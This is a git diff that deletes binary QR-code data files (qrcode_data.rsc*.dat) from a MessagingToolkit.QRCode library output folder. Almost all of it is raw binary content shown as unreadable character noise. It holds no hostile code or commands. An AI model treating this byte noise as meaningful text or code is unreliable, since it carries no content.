l -m&fǦ<l?Ǫlt!2 u9 @Ԭ!^pF̡ߚ]=gG4E#{Cc&1m?tήf%o0GUug]ђHx68xK2E Xa+᫗FzE5 L|j.?Zڈfī.cUS'i?l)-h(U ]ԄXrk6?FAs,ng%"QZHV#y9}>ʎ_{Uz_yQJWZtT⅐I|G\ e-|j2B+9(1)_8፺!kW14Ǎmfw% SAOo2P n؈H^+4wdar"SLžltJ(N6dJg/ sGdFc0r>jyOvaMƉυLQ1'gT~.nهU@G'y!.ATvOcVļK5;acF')Xj%;TD2{ܱ&ҲӳԊBp9)2ӮZ\<b񃆆 -k0Jp2z؁_ȵvk ԰?[k:wl=}*&˒|!&d:Т'LsQ9x/yƍ*E],U[01肕~IدBds#r&OٵE)By_'Fp\ SeջR _+)zΎhAF6Le瘳tb_~pfb~A9Y;J`κ˿9 # taR`gm[-tlpdqɥ. CVK3j)C\rk!6+|XufAw\$*~ ÿzE4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pQXnt8=02O $7\=zGWØb˗[okwN y%fZ&.瀎eK YHx~J+YtK-eI:Yڹ3W'F*kum6"+#RcޮYCSai)|,$/67ky;=|5y`ڱ+_T4efSz:>4K"(7g5^`rʚG3HX/'0tO$uN?ͣ 1Pg^79 -yOP%}u;E˩_zB \?L>a*46DnwqsR1fj -%3lXA+Z" fqvH+%T94B kcGfb[:N*H60Qf -`P騘 rJ'Rzߍ7|2.0j۾'9>0zBuƘ"Gs:1qODZIm5+OogH3GPVO-ClvY@G_c: -hWbFm -oX 8ehy,k7:g}e.PI?w sinI/SqpPT2n s k#7Y)#;Y}Dl!4Cm Frj{-'ܹ AĘ+*m,v9G>hь՘X!:C aECX@ 6X?JOojru)b4#K j2'~_$„W>g$2 -Dq~Zܬ_ߐ| gN[Qh%8T!}(v4 -.a"?-L4*lgDAosG,S R֋ЍT,iq𫏈5aݱzӍ?WRaBωҷZD͕aۚw݅PH5eٝn|s]bLҸx`4L^a1U#QiSCH ڰD q(HO>y5_{ zc|R{ЀA"-rw[TQd)3݄5~ mwƜ^6~,[!C31M'$m3j$,B͙UT:qւڀ=M !h.V&ܛp)HoWreNn[LW>mǛ*xѼ}3v˧D=`݋b@h,/E[1 -[<"JA_;`pkdoue_\os/XH@7ΈOlK@TB ;\FRmxն;Oج})[h@ڮ9Ut\J*ڦI ѯؗ߀v SL7i>xEW1&Äai\ G Ā$AmX"^b$wU@A&SNG6x"OX -xDv=ȑޥ )ʾ! \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc28.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc28.dat deleted file mode 100644 index c0e7d4e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc28.dat +++ /dev/null @@ -1,29 +0,0 @@ -  Жgd) 8uwdyJ:  Жgd) 8uwdyJ:8$1ARSpw;}t$6m{H&¬NR$p4Hgb0v53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C(S .GFڷqC7dA'<7p f.py同 wͽ_:MRk7y1$H"#eTXs\`E$:¨q!hs 9f,yRI9A6uN\c(~_2^Urh#r{p#FiWZH04]/?vZ%ap*T 0>a8;d@>\Ѳĵf1ba!Rc,s<l8py3 YKu &"Tr֑-ޘqCYk?1QۭZE-+,*ICU2c .JYbM8~{bG_Z{WVX0koH -]aTޞs4]눒3bsB/94XAݟ9x8 yW KO2LEt8G)pKsf@auACEL}DO)uɈйdM>WY3r%Fҥ &`h"^~J]'ȇ|N\x.3T;9`g|3pIv+|5yw \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc30.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc30.dat deleted file mode 100644 index 26235e7..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc30.dat +++ /dev/null @@ -1,31 +0,0 @@ -MIKbFgي3H.J jMIKbFgي3H.J j񚒛 -, fw2$\Ք1aX]ݦʩ:vU+6r1uXw)9+'1XC=dH5G+,2b dpzCON[ u}ZS'߰QOtVlb:a+Ssz3(0b5,O~ʆ2s1 RrVNb7( -ᰆ$zȐmsjVXwd:;)U-LxP_t2тC VSR["ў)-1#N}䅩'/BEc{K}iS<6I/G_}tVM69Iz 0,f6P`j?/XמdbO%437ҳ%i|ۤ䬜nP>}H=ȕ-o\ URYnk$*-/oJt*>v7RZQAq*d3@7:Ѥs?_ޗGgB], -tPS2$݇D!%RZq$ubQF[bD{AWؐ3ҁgLD1xaO&c?Nq^ SYQ>u#Z(]K$َ#C`?3߁aP/8ҦYx!>͗l^8E虬Qλ9;}XFN\qW9.ǚlaO0rA8e)w@*"aM`N?!M{wԈǜ?VnŤ`'7X߯l~^dz!",315ܮi]q m18!F6E=Jhfn{w86#SeJ9tJjc  rk -}UْUE%ܠ(|".#zѵE}7K]޾n]h5چv*ZG޸֍HTZe5^!kxHzmT{-,Lkw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it.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc32.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc32.dat deleted file mode 100644 index d18d778..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc32.dat +++ /dev/null @@ -1,33 +0,0 @@ -t@46~¢!! ;7䔹7Xt@46~¢!! ;7䔹7XhAl YBB'}vn5o{o0 (nE\Z0[ccR>MY1(Hlc:׀^yf[`ťsԡ$ z44YlF@BخFoX+ WWx\Ί-\LJUvv&$4etBuw9w觡J'mu2qˑUP)yhľ6hy>gY5CLгiO\N *ƴƸN/ߢn'H_|?71t/*0hDd rϩr̉ jotg2G**%̶Wk__Hk]Wg4Sq ~P  W̬`!L–I`s+O=%hh[i9300Au 9WY;1- IIq7qaiV]@k5{Q߁ Z -)(MQ⏏:@EK88E46} -LHh _rS_% $B_mȻ+6Ң`~WW٢1q|N+d??&RЕa]l  )$o i-qGGE-ŷK|βj{}}[=2$7@Tume7 ^İ歹p\\Ӵʤ((uYS -29ܙN." =~.n->jl\ƟK%=6b^}T`С@>OO w@œVFhMpw0wx&d{:eTTJq3w'ֺ$Rʸ*[uu3@+5P?+h%mE1Bј1a( ->77NO~h+h̆'VzJKyҭrf``Gr*H`js3E٦_Euv:bZ#! (nww5B J칒+Wݶo֝+GZs}#;AAj* mm -5ՒGҪ"``K&KUPPÉKdA%;KWB{(Zy|t "It|UOdrkk/=a\D@@zG\? RaEJJn}1Zk^bvSkZ&|+))ظC%2#//Jo2zl.fH>܉Ih}),u%R{4ͼ_? | cjb (''d(;1"2&I`*2?{"x;NHH2m+\IĹt﨨'fAaaN=i AH8f7dM +]vL[zhVL}vۤMm -TSf=?/Vj~4VA!/ 3 '[tD.E3+OfUkQJ4],,$Ab-./b9"em$' GQ6-niP9 |nnݱV&#N OO`,vx9%iix+<Ѭ!qG -:* -$Ay_V4BXK(yyݪ!#wT /f_ՊQ%W7`>m޲?#SSt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M7 ++n3 YŨ*! fO&&ƓEsy'ׂFy\ޯ^a?lP_[#ĤC;; ¡c -oddk۰=֏]wW-l9wrqKf[-p@KLEUU"5[eej[_Gv훟|66TC!Aͤ BxAcg1,li>-)0 - -Zw>wDτ=:Ohq~rʑ=|R0lXE/pͿ ;*G*g# -#)QlKK.Hv"y"/vjH@ ~c[/jjWϕidʛ7TAI5 eQ&XMMk&u((pՔlQl@Dnc 1IN]~]+Fl1Ë4DpcV7䗡RoӨ,/!8?v ю_{22"nm_;1\ݵhxzh*c1A^^Vu$9nIYBQLAe/0:;:0e]zaLq7b*+0*>o Fkq==ww)6,o,ys3LRVV8ыFmu8 &xwG\ȣ~b5tٖ6g^-y^YyLWP:MΌ*DDuXz)#W͊/O-jjpE=NfW 9鲤pbbUpv 0v ,S#-r'Mk#ӈPUFGbb~mz ewz:`$EaUV CCpMjG\}bjM87ϻ'ap4:sBlBhs\x:XSѵ85 ypH B V_R3~#,xT>--XtyT}kMt" CciL@i`cV,*C_\ zdX?$Tw7>>+]%)%]țK~,]]ԀG8G${!s ~Hn||:Vam&JRJ 0+f -g;^RT˟Ș9㨻|DQf+8FX5|Z.Z15KlK ]uxL/M 挘/},= ED@ҩ5U58Z{ - -r%d'C/S=k=ȩ~Cm9߱n&k)N++htDŽ؄#taCq2[rHH;|Q-fRR-(71gKiiw:pj* \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc34.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc34.dat deleted file mode 100644 index 7864d34..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc34.dat +++ /dev/null @@ -1,36 +0,0 @@ -o~C -o~C -x) 꽴4>2fs,V |ޕ..OD -m.!+ΑUĎ:}BQ99Rguh|d*̹Xie7\&_\(Ȩ/rc}OQN4;KRK"{;#\;BV?Wktلr5r0ЯT?oE4_nL"P>6P\fn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|fdKgV.çZ~1${5,ɗ,D֘͆t <\9q#o;(;V7ppE2L?[ƫ%vS׋s bZ/V_M: yO~xƒ{M'w|;Hevgs=Ј"d馄,]a7!ITt6▨mIܩޤ91?&rDQPB[Fīt&} \; L+/VQȿK4 Kɳ$YT}/FrC)Oo:AW:xj=ʨ9m-H,0CćEh* &"߽WOsvP9$agK3c:qi3#|8NbE9^I?YՏ$2$)=r=eZJǯd)7'L` L|#ф%  -᮴ -=w:xQjSJ3-eѳU}|o`6o w$ Pw*၉h~ Ztx#xBQ~Rp$;%ǸAzA8~˕dGR_(ݪ-VIVqz](oN@4? --:\<|ßt<?|g2p z)MsU+Dܪ+S{XWv>WQ'1G/iG&p0d&N>okUBϜ WZ #lb:@lq_.yH&k`+`ϹdZ hP<5eT$wbwL -n1Kt-C`+ڨZENeNhDWn2Z~ESBd*:YqKTYJ`ݯO/,lz>3e2ʄ"OkLC:k.|FRVzQ -mFw.п7)@,3x[OW;kʣf@։a;T!V%qc)xRTQ`4$N=2T!$O"0.Krv!^I!Ջ.Dp-)>*4J4PX˙Pʒ-WL`uT=i$CVݞ(bQ[Q.`ؾd  #)+=[҈{ -j]3 Gk[{* JQ+ӜjК<`Ҁ2Wu-4(H*I\L zٵ1VAH4"7-?}! P_wOU2*\b>hb8=e -ApL"nUBa82'@xs!Nˈ-H \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc36.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc36.dat deleted file mode 100644 index cf64fb2..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc36.dat +++ /dev/null @@ -1,73 +0,0 @@ -CL{I|~I h-+JY;v`;CL{I|~I h-+JY;v`;8o>6Z_V4vǭ>v$Qԍ]Lۄ!-w}ށ.pME*u!Mp7-'99|l,5yhKG|lRa0gppcw'ՙ rח~cH BZ:m\)TB]Tf|zWig]A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JIwWqIŧ*{6{%"U^+&R -V$֣_uZ5vyivLdaX)n_.lFq낇l!d,ۦ0,O7G6> ~;f]>qG##?94M1q'E(2WJY]c&v_MޅmBe v[`=JqB44B$NkIR,s[aZGYNPOʈO!Y8MUtL!#lt[= 1 'B0cUp _B"gFQ0NLşzH[Q@wUHQ%]!zb!N'y`ƪ)Iͷ-DΌ`̓da{ي*F%cXlO\-;;SL&2,m7E6#@kA6zFUX2U˟I&csƏ׈<`%I>o:Ei҂pоň%{-F3F~r=8hqbY"NÊPdI=Y \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc42.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc42.dat deleted file mode 100644 index d004026..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc42.dat +++ /dev/null @@ -1,43 +0,0 @@ -lE-iEAgk4)&\BN" 5"8ų2lE-iEAgk4)&\BN" 5"8ų2 Z!}:WhRLDjD p{cd -wé'\v{jf_f HRV*v B tCm%$Ԉ83ȓCL(JLXi 䚍1Wk-6Ey~u -c0kOgNՑ6$T 87( S\5?*a>5G4u@o2AU-*J H p,f;(+WX HYWsx_| h/A/1~B.-_9/ -Pѩ)abIZI:l'"); X$ϳ.G>kSkb49M'. `+m?ola,H:=UWE<ņ^X h^jJYؓ}!eTFwE92#pnPj~ T1M|4!o6j^y -xm7s1Sw>'Zuϋ3h$0$d>͂gZTwX?vPa3Nja%Y'Sȃ|8B8iӆ L5UVe64 (^^bS [\cZ:5e맗Cp;g0MF|(|؇7Q\_g#r- <^Wg5-}O ,RAtN -G DROh?sh<$'ń:FA:vHq{\|-֦֍E 7hr"N 9) $u c΅%K$\6(&6V!%ڗws~Xt zMxs+ؖsF8fNQ/<55Bo}NQ.Űc[W8;BSʨS -=ur8} -. -< 1 qÝqS2rgwdF?$+?O0Qm -[kbhBlz 'Malz[ L> rB)#E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dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc44.dat deleted file mode 100644 index ac3b30d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc44.dat +++ /dev/null @@ -1,45 +0,0 @@ -ov/}Ae:M xTf>c2)J.D1ov/}Ae:M xTf>c2)J.D1Ae^]Wʗt&$̓|/(d+Rה\>bLq>RN5/6TB["}/H+I5ރps`jiy6[> $#Jucn!@ӼUu /bp5s@&i[ aQ+ -dwvh,j}u?; Eb93RpyYP_Ol;+98!ZTv.AC}J1uxw?p+ᤆZLV(J0e4߭9*A.":4f 1+top72L_]@"r*h -jj?H-2.=>l4~ V­PZ*+P>_F1˕-!,6JOhoY`4a@aLAmNO$8弡҇ЭB[>i#-f&/<ȯ'\:^fp$ry!vgW軞)M\:_"REߙ<;9V!p2& SWF; bp"!7>A1u U}Hn5daf؉q`<UZ@}Rz\œIhxnM -fcY@)I.Bvbh:S<`,_%п{[NJfg|DkMKc^V:j&! PǔDO e]o5F`3L|YX:2k;=5!l|HQF2kmBewHwh 3os1JZ>KC 9U G,?!O@k^ Sj!0LGҶ<m¢VM jq9 D8Eui䵫#NL<s)"֐lp^c4}>EX*x3P%\|K~v&?rf9Q+!p˩{V&JBR.A$-t@5o 6<m.x~tT3n`· Y2 N]K$kN-\S9}YV84&SGdb$/}Uj6;T.+]5h8t76hb.VkQnd c(DmT/;n2ioU&Bfq}'_5  -~ۯZ5dq\z|;ChU6GTVQKzg`q _οF(jb"Ւhpn}QI|,b7ZaBXle]+;՟ch; -,CZvY(2nzʃ9]FG)<چwOQ˜&>ڜWH-/Ype_GcU| FZ$M }*KHcrSA0L^.x_ۍCN-9t(I<{oHBӮ1XAW'(]M}tځvb {/Nlk!Rt?D/xvrBdAM,L5>KUcNqVGًǰz -O~;*t9v7 #DBn4|,=b?(@j"E9DA N]~YP=J0+i|ԏ[ȇ<o26x&Gk;i YwOfb KĂGP}.=a:퉚 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ries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc46.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc46.dat deleted file mode 100644 index f4764fd..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc46.dat +++ /dev/null @@ -1,47 +0,0 @@ -qGp|܆ PiL%ٹX 6wp Z&qGp|܆ PiL%ٹX 6wp Z&$@>.ҘOyJ o:l;($L6y>`!9/X2o0vC'Z&<b6hj>>HW"]|\-+@C}4t؃vP sH$uk!FZB cKqa7V@ -Pg%90ijDZ-/!;>!l=3|Br^kѰd `͆. NLMx -l/=6ԠJ~Mi.]exs9p5L#Sl ~XM?||ǮD[#oZ!V{5h۠搟H-]E׻rº=K_ep*3A cMBcG? U]Ɩnͬ)Jr`$QqGZ^ma<˦7Ce}Jف ԎI2Zw]=D՜7SGBv|Bz*fw} \@u8^zlD -V%R;-QCq @) -en]]\w'G}rj7FW"~+cꮀݓmY%oRKP/26wqC[=SA:imF޴Bj _< G6ū]0=#SɱZy2yC/#W9zo]O" qVZI3/T#b|硺kizC , 7! $=0Y+Tu6fͳ} -fDf 8ZTie`$&-gma5 Ë'0ƚu~41g܇E(]R3H 8 n-KQ2_$D})V ;D;@YdhvaTV: 6灰LGb' -Y ɥƥA.W;[J靁<{Oޤk^adl"ⷣ$8$ӹ=yp~Hճ />n[vh!&d톶z; qtڌuE@:"xlK`zF=lHlOhG^Tb9-qB*횸cjh14լdW^F'4rMs&D⣬f^F/;ssL6O"bF -Th';J?EeL6&a_i 2{/􏻆XnB1@Hza`wVl2{,R.RN 3ߤqeJj꽄&`rYo  -̽̇.p> /UH -LZ6: Wj{i N`MvMR<6p/NJZ4 Ii|F) -,I*ih?b/:P5f՝o#w{xYueXMqI8 uAc oR}mfra{q|?zX)Ln]CT pvUO@o2~7g -ܑxU [uCKV%HyQӞ&};@nʯ {k5C>0w;89uXHiV sJt*Q.4.Lmhe\)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K,WD}ϻ#=El45ͨ`WY@/k'8-7.DE#besq !}'P"Tt/{3~yL0V8.KHt& $0z -̦{UKќ ʄBGn>и-m_x%rW]u@tB2e}5D9O.9jz\#riGxw!D|u%qto1jQbC)S=PqW?e"yMlOjo&&-cyLpe>2s+?IRW duzLo_;m5PK֛0*M{n"|ʂ-Hiow.% -#Bed۳d`&b{y+5kKT/ޣ-5ߒEEhx]Q>c ~3^ɾMgb툆=xI]Matk}:]rf Ͽ&8JǼGT@O)ubf 3{KPBT"v1MW_gP( ~ : B`D=n\kfS}ZNdeB!W7k63jP\y[]/X|Fu5V&xQQqwd7"U$9t ߱&RvGBw_|=ϸ6a BUFש!2; *G(ns%DäNLtNJub -E!m1-cl7~zp𚬗M7#uXoR"T A %?d1 -4yrSpowJop_OFxk,Q:(y2z4{ VU:6ѪA4;x-CaF?^]1>V:`i%г WĦ_Y 2QB]: -\نAr);_!>g'&:'M%дt1N]߸yۖ˿6r?j=8xMVŨdAl93LY`{%^*z UQ1i3 ~!0" w7.3tzr-Rcs'E2!yؕh[6-N+jv:B9Uy7hKȇױ2Y3BõlJ97m4 c:fgL/ #&hk|Z .7%P`DkxD}lNF@3Ss86qGƵ&)':e gڴv a Aif`Lȉ#KϾ J[[b~/,N|ȤALjE(k}z$9 blY;/PE?!%xf+bdH".X)/ݞzz|_SmxʒvۈE3h%*Z_O!䵇sTmCDK F `RNc+/8͡fePFe)Ҍ-V]8'_2 ,A~A֡Fvz<`eI;yDWg4-sk\(#yщiFVeql+ZQxmbz"<"A x6wD'# ֌޶ cAy£1q?x'[Jl>dR& 5=CO1pGo6?|yHFӗ{:=9X)㿷^|OlĂx dK!6%ka^ Fb۶*8 [Rтx\]h׈hZ:z'VAO\KL95q<+T2 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc48.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc48.dat deleted file mode 100644 index f26e340..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at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc50.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc50.dat deleted file mode 100644 index c3a84e5..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc50.dat +++ /dev/null @@ -1,51 +0,0 @@ -3:ǟd$f.m3:ǟd$f.mft#Y2%Y}H#'Y\}}xw'>a3^z|3SUbnWNT=+O=l7r7,D!ߤqGB d,sc?;F"dJ F&NS=Lcymc+xe +OQ3³HcYqCYYwt'[JT[!"Qy UP ϔu_ 1f,;HEЄ)"0n-Xq$nQ0&TT$$i{&Fh+hIA%Mf`!jܒD /҄[pz@tUiBhiUO:i:_K1O=<+k=Z_P/"Qw)pBn)y ^ nsnZuXm:{iK>s<kv0ɇgx0n&vh80ޜUI:hFWlQё򈦍5|Ϧz%.V%/KV˞<$@:+PFPjF^ HP *N&<8qf.m&{Ʋ{2&⫆NݨB8DBɸ  3 z]!6W!z)V0ۢoC@@c5Cky@by55qXkv?07w#U,9L"+StY>vot]"ZýMRD`ZKHܢ`Lg>HHoL(yCVs9W4!=<Ƹ,/<*NNSѰ2GD}G4 7WJEB &GԹ9&}&^I*I} סDp])J\=)mcS$C_)C&$ -ހ?В׼T> (w[(Ǟtt[[b)5+zxVz $U95p[np +5@pŒQ^b4iEh=cQ$f^D49R!9]R9ܴit/Җ;/|xU,m{fPh8w蛓lPujڛ!l ljvʸ<}ĸ ,(8,2``Lp`Sˡ%tWM]%( &Zsyo -R(osfM-}-r#MHb'ϡ.? - QjQ --J\#2J^,!Y|j#)[[6x3Еw:[w3C3eέi(C|LxHtgV)5O y)>m@@oTm?$׉u$Lox -{Q]l,NlۦNN恳 p\LK/c =KydL .K.y7y#sq5kMq7p9z5)@ӌȿ?x$":ULS؇X{Kmo>+Q-fY+,o#M[#Bk}lB7Rt2H%=scgCD@)Qt? `Y޳I]jɆaKj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Ƅ=mth6dJ.lwUzL88KSoԟECP꣖FXlu5  2e I쵖 -ޢ*a9ҧ@A'R\LVv+B] 6r5{̭+rK ˂}znmP -sێq>*z~yqp`7Q;GQx|mL*Q1NUԯ ۊnh yPj)͹m~d'+.+U's$l6m -~i>m2ܗvez/0o7b*^vc !+-%]OrZkR(7Z *3t|ymY+%^C}Av'?v\zo6Gn@?zw pn; =^ϙ]cIJ" |pg9Be-A)w|-e:@y>囜/R;;vKoQMxᾍi v).qx&+;! 9ff p \*NXEHsך.B`pL=?sٶ8wV0O䕉ꦓ^nyUdsT<7 ;,'4iV@AAo:h %#2D̚f\_t -Bht-m_G48WѢ obՁ2JyE]o6d /z;J4dt6n%mP\HByZ^~LA%j=[FQrLb=/&'gC^A$GTuauF 4}we SL,\FSͺu 2"M#*.DU `(C(c@1_8`+zӔWM@{$&+rI҈ Dd1}m5]ORSxގطp 85s!grgD;dVՈukHƢqGԛ5 ڎ#;9belsK*ĹL~(*Utym.J xasEΘN>Kޥwÿ%Tʿ` ÒU"uCi4KX\J:P:ڷ7ujs<'k^s~ tzU)PC-⻮Y N@ -@\s۹nu$8xN72ERCZkA] ۲<"B2V + D~TO Dg$cQ{߭jÔmG1Z6݉oGɵ Hpnd*e0I]ւy,.%x(m*z1?g+^$*(4|%'d sٗ)҂)*,we :TQoۙ,PT6\52-՜|{&YDtPN5 #C9&k1}љΝ/*FߴܾM W[0c=J c9iD"2ht۠t2>W+!&H\x2~փ%'u>Ra/4Ɯ"fM3.:b!NwW4:^|spjQB1L>N{wP8ڒm!i -G>Ęx ~Y\QFNX)WƓ8v.'E,$ M!08& Y[w+jFvruSS \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc56.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc56.dat deleted file mode 100644 index a3015fa..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data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x%׻UlYн|^F>yV%p>fRYQȿˍ~|U$?3/I]hcvj2JrmvRjx}i1 - SU{Rp6!ovZY3.pXJr!zvyŷ[ -,lx'#1q @E;f+D$3X #3s EVlfX\o_>W.v'Vuշc@֗cu }0 hƸasC>׉_#8O -SŒ]~5S+,_r#^FKG65>~*ʗk1!7YP{oU=WcYx~qr2aУbePiS ])ֱ̐[#uAWȇK3EjY7{SI^M;yV(\6 `_zdt.Rm[D79'8߇H^iߠ4ac;~]5%9wF;sY])5JunIH܊߄)|*矯9#$^`ĕ M?NW5UW8 _#!`(ch)TxoO<%$-? S ajYgHQg, SzݶJ<aGErIc :ONm$zj!MjגOse4L]{$Xڨ?\b *}r|ؓQZhZ( |! !FkZ݊<-:?c&L=h), -~=B -1)M@ڛv{=znMtD2X:3h>n$:uwB R>zDǽ#{ e@LPgΙp|b )Dؙhut,f^%g4Hzj7JȔln™?0WlNhn~Xy*Md&p >O"IQ?D3 Eq?<ɓDлdM4n@:aN oLe`1XB "M@}l4MKqX:,SXuas2Y8ȩQy"k } }"khӼ&ˠL -XW,mTH.1 d\P9>͇ZzlǦ-d4-`R\>o H@ԱKNEWmr;\=7_v :"V,Ѝ47!vy Dl02dCR rźUPѾG?xA\ij#`eo%4eh*<tœExM駈 gp5w$^vTi=>9|Ud&'-Tkw^:z,5G΁Y#q -5xa˲%8~Xp {D;r._oef ,1!ݾ#PfJ ޒw \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc60.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc60.dat deleted file mode 100644 index a6af3e9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc60.dat +++ /dev/null @@ -1,61 +0,0 @@ -h:}HV"V;1@|V"J v`1k2D^ L',h:}HV"V;1@|V"J v`1k2D^ L', t*yDv0b"SiDgѻ5Y3bdaAEYNX -JN?؊^fM(SI3 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at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc62.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc62.dat deleted file mode 100644 index eb8c339..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc62.dat +++ /dev/null @@ -1,63 +0,0 @@ -pC qJ=ivx}^ e^2yf1Ez)j|@b+%ng4pC qJ=ivx}^ e^2yf1Ez)j|@b+%ng4a>e6Ŕz4O< -d-b%UR8" VJhߐ!-T)F G.戇T">OVS* %{R $3 -L}I,o\|$l;5:h;ex$eZJ 3pD|cRv-w:{гr7;f-B;€L~`oߑ]lUt=B6Z,;Rk)'\ D6|Cٞw IoT@JaHfQXyOM]?AoJE_FxunoZ?&Pr/ƹ{[a iTwW3^("Hv3j ot!vH[(>; IUfw:067E.+5W'a5Añb $ʈAj-,qW|1z6Un9xGƤZtM -({in5vZ"v:?ت<F7PS"< @, oH"(Se'(qd-+6y.4CĻ:z8gZ[z3ClMXv _0RN&Mlg#+2DʷEh+W{Uײ5HaΉ6 i4f OYSNjġ@H #y5iZ5cX1U[b:k/lٕ ŕ֋=O -JLeu[kߋ_k3QHd\6}cўP>j z;펑UŴPg.j셴Dc/:-坡8t[~iIxw&K SyT>RuVAChvI|':1)X~ "e؃nӠDx4uXyސDP]NPgZ"Vlm\hkt?pq2 ?I\DlO:+8K,Ͻuzr;][ᑹfuU -`mc4LC xCB,96M5XTN=PZYr}_! -%:n]Id?wL1] t}YU_=s~o(!V;侒zF+C _*hxcHY,Ķ 12r=M\ٝ%id4_XΦ|`LlE ->CΡ/Ӿw tg=*S'ЎZ;Q0Kt)iwLs5‹ paɥ&uNl&]Bռf?ޖq[,SMHAce\ -Yv4fD.ta&TfxkixpWwz3}Zr\EFQNH 2>W)/2xڍ19_2IRf&'pε]$ NAuD5%nbH4eUO|;+A"Wp7c.^5R ˼=iB j,ʤ V^Lj=GV ̵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--git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc64.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc64.dat deleted file mode 100644 index ff93d85..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc64.dat +++ /dev/null @@ -1,66 +0,0 @@ - -:s[܎x(y0MQU+ã##dd3 Є} -:s[܎x(y0MQU+ã##dd3 Є}ts/;8*U; Pq`բVY [F7)Ff}_}K+^NĕRpzy$? -Ix7P1}0XeeUm]z%1 #(: -^vq3KSWpTv8)YI@+nR*,"g*'SV"$ҺQ*lAۈYT6dSPȯJ'Jo=S<8'7qMǤH ~Mn$ b`Y{?EE:3?J}b}6Ǧ"Dޜa;).Tuk[^؈%*rIpsN!!71@ -7z)vnFPtѿfI0.]cp RsEyVqܤTXaDTN1ϬsZTf̘%M{r6uo~nې&I>&ccYSY{71DHiYT= < lȦ8 *CCAN>UsAz5: N* -D4׋oD:g%Tbd̀BAm8`~`ū$Eӣ$6HBexp%N7n⚓U(9;H] -{}lj~Itf~i&,r΀{ Ȑ(%bG .:Fom6 iоd'lz~y(| [a lQSD͡%vR\ֶ$ JT= IqυkBB/nbwknRY;flkT2~2"pZ $0%?E&&i!4GJ' -Kc(e1QAM`\Ư'y9 -U -ϰˆϜQ&bEMhV ꌝX6Vf (lP oA)0),jj$cQ,\i̅-Jo[ #gl1G>3ۓܫ=7L|Lq<)yn3bҾWu{m4A+8[rcmjhHws׊ -oo9B<9+א鯈oY";z -.8xKyM:Q p&@]T5| 5jQtnoUR :ʄV ~2Cבq% MD^腗,6{I_0s*T'hѥ 3mtJ<ȇp}.KKH#[H&l8!O'E -xo&rbNʱZ`ӏ[m߬i//= x`Jn<); =4)Prv,˫ϋy &O&5SLX pٯ@`o|*3!LVCUq)90,k,xmmJx*1rqU>:9= PJ ώ\tl@iҽaINI[[OP@Io׍*Z;!8TpkjBjm]["m 돍YS; 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ggjՒɠM81# 9r_|lȉM|ŌdQIݚyw*wOAAv OH I)LMV- Wj(3;XTT%%Esd˼hZkiPeK7PTJpGH]amyG@5xc0!$11ZvZvMٜ[g=nHf&vS8x.e\1!4#,u`IQfBx h2ߣ -Ont -,[\òw,(q -1Z˞``<ʒWe+'@J">'dԊf^_. 